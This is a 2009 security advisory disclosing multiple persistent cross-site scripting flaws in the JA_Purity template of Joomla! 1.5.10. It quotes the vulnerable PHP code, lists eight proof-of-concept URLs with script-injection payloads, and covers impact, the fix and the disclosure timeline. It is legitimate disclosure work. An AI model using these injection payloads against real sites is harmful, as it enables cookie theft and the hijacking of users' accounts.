OSEC

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[ISecAuditors Security Advisories] Joomla! 1.5.10 JA_Purity Multiple Persistent XSS

From: ISecAuditors Security Advisories (advisoriesisecauditors.com)
Date: Fri Jun 05 2009 - 08:14:14 CDT


=============================================
INTERNET SECURITY AUDITORS ALERT 2009-006
- Original release date: April 5th, 2009
- Last revised: June 5th, 2009
- Discovered by: Juan Galiana Lara
- Severity: 6.4/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Joomla! 1.5.10 JA_Purity Multiple Persistent XSS

II. BACKGROUND
-------------------------
Joomla! is an award-winning content management system (CMS), which
enables you to build Web sites and powerful online applications. Many
aspects, including its ease-of-use and extensibility, have made
Joomla! the most popular Web site software available. Best of all,
Joomla! is an open source solution that is freely available to everyone.
Joomla! comes with 3 default templates, JA_Purity is one of them.

III. DESCRIPTION
-------------------------
JA_Purity template is bundled in Joomla! and fails to sanitized user
supplied input. An attacker can inject JavaScript or DHTML that will
be saved in the cookie making persistent, running in the context of
targeted user browser, allowing him to steal cookies.

In file 'template/ja_purity/ja_templatetools.php', the
getUserSetting() reads $_GET array and makes the data persistent
setting it in a cookie:

4 define ('JA_TOOL_FONT', 'ja_font');
...
27 function getUserSetting(){
28 $exp = time() + 60*60*24*355;
29 if (isset($_COOKIE[$this->template.'_tpl']) &&
$_COOKIE[$this->template.'_tpl'] == $this->template){
30 foreach($this->_params_cookie as $k=>$v) {
31 $kc = $this->template."_".$k;
32 if (isset($_GET[$k])){
33 $v = $_GET[$k];
34 setcookie ($kc, $v, $exp, '/');
35 }else{
36 if (isset($_COOKIE[$kc])){
37 $v = $_COOKIE[$kc];
38 }
39 }
40 $this->setParam($k, $v);
41 }
42
43 }else{
44 setcookie ($this->template.'_tpl', $this->template, $exp,
'/');
45 }
46 return $this;
47 }
48
49 function getParam ($param, $default='') {
50 if (isset($this->_params_cookie[$param])) {
51 return $this->_params_cookie[$param];
52 }
53 return $this->_tpl->params->get($param, $default);
54 }
55
56 function setParam ($param, $value) {
57 $this->_params_cookie[$param] = $value;
58 }

File 'template/ja_purity/index.php' reads data with getParam and write
it directly:

 57 <?php if ($tmpTools->getParam('theme_header') &&
$tmpTools->getParam('theme_header')!='-1') : ?>
 58 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl();
?>/styles/header/<?php echo $tmpTools->getParam('theme_header');
?>/style.css" type="text/css" />
 59 <?php endif; ?>
 60 <?php if ($tmpTools->getParam('theme_background') &&
$tmpTools->getParam('theme_background')!='-1') : ?>
 61 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl();
?>/styles/background/<?php echo
$tmpTools->getParam('theme_background'); ?>/style.css" type="text/css" />
 62 <?php endif; ?>
 63 <?php if ($tmpTools->getParam('theme_elements') &&
$tmpTools->getParam('theme_elements')!='-1') : ?>
 64 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl();
?>/styles/elements/<?php echo $tmpTools->getParam('theme_elements');
?>/style.css" type="text/css" />
 65 <?php endif; ?>

99: <body id="bd" class="fs<?php echo
$tmpTools->getParam(JA_TOOL_FONT);?> <?php echo $tmpTools->browser();?>" >

118 if ($tmpTools->getParam('logoType')=='image'): ?>
119 <h1 class="logo">
120 <a href="index.php" title="<?php echo $siteName;
?>"><span><?php echo $siteName; ?></span></a>
121 </h1>
122 <?php else:
123 $logoText = (trim($tmpTools->getParam('logoText'))=='') ?
$config->sitename : $tmpTools->getParam('logoText');
124 $sloganText = (trim($tmpTools->getParam('sloganText'))=='')
? JText::_('SITE SLOGAN') : $tmpTools->getParam('sloganText'); ?>
125 <h1 class="logo-text">
126 <a href="index.php" title="<?php echo $siteName;
?>"><span><?php echo $logoText; ?></span></a>
127 </h1>
128 <p class="site-slogan"><?php echo $sloganText;?></p>
129 <?php endif; ?>

These are all the variables of JA_Purity template, most of them are
vulnerable:

logoType
logoText
sloganText
ja_font
ja_screen
ja_screen_width
theme_header
theme_background
theme_elements
horNav
horNavType
rightCollapsible
rightCollapseDefault
excludeModules
showComponent

IV. PROOF OF CONCEPT
-------------------------
http://site/path/?theme_header=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_background=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_elements=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&logoText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&sloganText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?excludeModules=%27;alert(8);%20var%20b=%27
http://site/path/?rightCollapseDefault=%27;alert(8);%20var%20b=%27
http://site/path/?ja_font=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E

V. BUSINESS IMPACT
-------------------------
An attacker can exploit the vulnerability to store persistent XSS.
This may lead in steal the targeted user cookies and gain access to
the user account.

VI. SYSTEMS AFFECTED
-------------------------
Joomla! <= 1.5.10 is vulnerable which comes with JA_Purity template 1.2.0

VII. SOLUTION
-------------------------
Upgrade to version 1.5.11.

All inputs should be sanitized at setParam/getParam function, in the
same way is done in libraries/joomla/environment/request.php:140 with
$var = JRequest::_cleanVar($input[$name], $mask, $type);

VIII. REFERENCES
-------------------------
http://www.joomla.org
http://www.joomlart.org
http://www.isecauditors.com

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
April 5, 2009: Initial release.
June 5, 2009: Last revision.

XI. DISCLOSURE TIMELINE
-------------------------
April 5, 2009: Discovered by Internet Security Auditors.
April 6, 2009: Vendor contacted. They will study the advisory.
May-June, 2009: No responses to queries about patching schedule.
June 3, 2009: Security Release 1.5.11 published.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.